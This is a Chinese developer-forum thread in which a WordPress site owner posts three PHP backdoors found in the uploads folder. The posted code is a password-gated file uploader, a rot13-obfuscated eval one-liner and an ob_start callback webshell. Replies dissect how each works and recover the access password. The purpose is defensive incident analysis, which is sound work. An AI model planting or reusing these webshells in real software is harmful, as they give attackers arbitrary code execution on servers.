一个 WordPress 站,疑似被传后门

2017-08-27 22:28:06 +08:00
 Hardrain

今检查 wordpress 的上传目录wp-content/uploads

发现 3 个.php文件

第一个./2014/12/conf-72e 内容如下

<?php if(isset($_GET["ms-load"]) && md5($_GET["ms-load"])=="10c0d9d7dbb63d34fdb2cafee8782911"){
$p=$_SERVER["DOCUMENT_ROOT"];
$tyuf=dirname(__FILE__);
echo <<<HTML
<form enctype="multipart/form-data"  method="POST">
Path:$p<br>
<input name="file" type="file"><br>
To:<br>
<input size="48" value="$tyuf/" name="pt" type="text"><br>
<input type="submit" value="Upload">
HTML;
if (isset($_POST["pt"])){
$uploadfile = $_POST["pt"].$_FILES["file"]["name"];
if ($_POST["pt"]==""){$uploadfile = $_FILES["file"]["name"];}
if (copy($_FILES["file"]["tmp_name"], $uploadfile)){
echo"uploaded:$uploadfile";
echo"Size:".$_FILES["file"]["size"]."n";
}else {
print "Error:n";
}
}
}

第二个./2015/03/conf-72 内容如下

<?php isset($_POST['8rfhxs']) && ($www= $_POST['8rfhxs']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($www)', 'add');

第三个./2015/07/cp1251-72 内容如下

<?php
    if(isset($_GET['8rfhxs']) && isset($_GET['catid'])){
	$id = $_GET['8rfhxs'];
	echo $catid = isset($_GET['catid'])?base64_decode($_GET['catid']):'';
	$s = '';
	foreach(array($id) as $v){
	    $s.=$v;
	}
	ob_start($s);
	if($catid){
	    echo $catid;
	}
	ob_end_flush();
}

这三个好像都和传入参数有关,但里面变量不少,尤其是第一个(看起来像是先检测传入参数的 MD5,如吻合,就 POST 站点根目录下的什么东西,也没体现到什么域名 /IP,看起来很像后门.)

上传时间都是 16 年 12 月,那时我已在上传目录的.htaccess添加了php_flag engine off,使这个目录下的 PHP 文件不被解析。

可能因此骇客没得手.

5614 次点击
所在节点    PHP
25 条回复
litter123
2017-08-27 22:33:38 +08:00
赶紧查查日志,看看哪些 IP 访问了,来一个逆袭 233
Hardrain
2017-08-27 22:36:17 +08:00
@litter123 手头(网盘上的除外)保有今年 6 月至今的日志
检索后没发现对这两个路径的访问

我估计去年 12 月骇客上传后门后发现没法用(我禁用上传目录的 PHP 解析)
所以就放弃了。
Hardrain
2017-08-27 22:38:45 +08:00
此外,wordpress 本身的安全性还算不错

我想知道这个后门怎么进来的……
补充:ms-load.php 是 wordpress 的组件
但经检索,$catid 这个变量出现于 PHPCMS,而非 WP
litter123
2017-08-27 22:38:50 +08:00
@Hardrain 我记得我有一次搬运博客的时候也发现一些来路不明的 PHP,看起来也像是后门,不过服务器倒是没有被黑进的迹象
huafang
2017-08-27 23:47:43 +08:00
怎么查看日志里的不正常访问呢
wql
2017-08-27 23:49:15 +08:00
这就是后门吧……赶紧看看 apache 啥的 php 啥的升级一下
jeffson
2017-08-28 00:09:06 +08:00
@Hardrain wordpress 一直有漏洞啊,要及时更近才安全
yksoft1
2017-08-28 00:19:35 +08:00
我突然关注的是 PHP 的 echo 的这个用法以前居然一直不知道。第一个就是个上传器吧
jhdxr
2017-08-28 01:13:28 +08:00
yksoft1
2017-08-28 02:31:00 +08:00
@jhdxr 反正这个用法以前从来没有用过。
ic3z
2017-08-28 06:23:10 +08:00
第二个利用 preg_replace 的 /e 模式执行代码
第三个利用 ob_start 的第一个 callback 参数执行代码
http://php.net/manual/en/function.ob-start.php
90safe
2017-08-28 08:55:59 +08:00
第三个是回调函数后门吧
JackBlack2006
2017-08-28 09:15:29 +08:00
看到这个贴我去检查了一下我的 WP,过去一周里有个阿三攻击过……

103.204.244.6 Bangladesh Bangladesh 1
fucker
2017-08-28 09:20:16 +08:00
第一个文件是非常明显的带有身份验证的上传文件的后门脚本,
早先的黑客手段(也许现在也不过时吧):
通常是利用 web 程序的上传点 /文件写入 /命令执行 /高权限注入等方式向服务器写入被称为“小马”的可执行脚本
这类脚本特征是体积小,能避开脚本层面的文件大小限制,以便上传体积更大功能更全的“大马”
第一个文件中的 MD5:10c0d9d7dbb63d34fdb2cafee8782911 解密结果为:8rfhxs
与后两个文件对比,可以断定是同一名黑客所为
至于你所说的 ms-load 是某某组件,catid 又是某某 CMS 的变量
这样说有点狭隘,因为木马是可以伪装的,而变量名的选用也是自由的。
catid 就可以理解为 category id 吧,我相信不少开发人员开发数据库都会用 catid 做分类 ID 使用。
偷偷说一下,我自己就这么用过。
判断是不是木马,不是看它和别的程序 /组件 /插件 /代码的相似性,而是要从它的功能来判断
第二个文件是一个比较经典的“一句话木马”
其中用 rot13 转换了 riny 为 eval,其目的是为了执行任意 php 代码。
第三个文件,也很明显,是一个绕过 XX 盾之类安全防护软件的变形 php 一句话木马
其目的也是为了执行任意 php 代码。

简而言之,都是后门,虽然暂时看起来没什么影响,不过还是赶快补补吧。
jianghejie
2017-08-28 09:44:31 +08:00
这很简单的漏洞啊,其实跟 worldpress 没关系,uplaod 之类的目录下是不能有脚本执行权限的
lr9569
2017-08-28 11:30:55 +08:00
一句话?
Hardrain
2017-08-28 16:42:54 +08:00
@fucker 感谢分析!
关于命名空间我的确有些狭隘了
那个 CMS 的文档也说 catid 就是 category id

另外我怎么觉得第一个是要通过 HTTP POST 窃取服务器上指定文件……
不过全都删除了,一直没被黑的迹象可能是因为我停用了上传目录的 PHP 解析
Hardrain
2017-08-28 16:44:12 +08:00
@ic3z 不过按照 PHP Document 的说法 \e 这个修饰符从 5.5.0/7.0.0 版本开始就被弃用了……
Hardrain
2017-08-28 16:44:46 +08:00
@jeffson 一直使用的是最新版
哪怕还不支持简体我也会升级
Hardrain
2017-08-28 16:45:11 +08:00
@huafang 查找日志文件中对这三个文件的访问

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/386206

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX